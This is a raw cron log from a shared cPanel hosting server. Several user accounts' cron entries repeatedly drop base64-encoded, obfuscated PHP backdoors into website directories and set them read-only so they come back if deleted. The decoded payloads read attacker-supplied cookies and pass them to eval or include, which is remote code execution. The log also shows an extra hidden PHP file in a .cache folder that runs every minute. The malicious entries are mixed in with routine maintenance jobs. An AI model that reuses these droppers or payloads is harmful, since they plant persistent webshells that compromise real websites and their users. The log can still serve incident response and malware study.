Mar  2 00:24:02 medusa CROND[32767]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:25:02 medusa CROND[7150]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 00:25:02 medusa CROND[7441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:25:02 medusa CROND[7442]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 00:25:02 medusa CROND[7443]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 00:25:02 medusa CROND[7444]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 00:25:02 medusa CROND[7445]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:25:02 medusa CROND[7447]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:25:02 medusa CROND[7448]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 00:25:02 medusa CROND[7452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:25:02 medusa CROND[7462]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:25:02 medusa CROND[7463]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 00:25:02 medusa CROND[7461]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 00:25:02 medusa CROND[7469]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:25:02 medusa CROND[7470]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:25:02 medusa CROND[7471]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:25:02 medusa CROND[7474]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:25:02 medusa CROND[7476]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Mar  2 00:25:02 medusa CROND[7480]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 00:25:02 medusa CROND[7483]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:25:02 medusa CROND[7484]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 00:25:02 medusa CROND[7487]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:25:02 medusa CROND[7479]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 00:25:02 medusa CROND[7489]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 00:25:46 medusa crontab[2063]: (root) LIST (root)
Mar  2 00:25:46 medusa crontab[2170]: (root) LIST (root)
Mar  2 00:26:01 medusa CROND[11094]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 00:26:01 medusa CROND[11095]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:26:01 medusa CROND[11096]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:26:01 medusa CROND[11097]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:26:01 medusa CROND[11098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:26:01 medusa CROND[11103]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:26:01 medusa CROND[11104]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:26:01 medusa CROND[11106]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:26:01 medusa CROND[11111]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:26:01 medusa CROND[11112]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:26:01 medusa CROND[11113]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 00:26:01 medusa CROND[11117]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:26:01 medusa CROND[11122]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:26:01 medusa CROND[11115]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
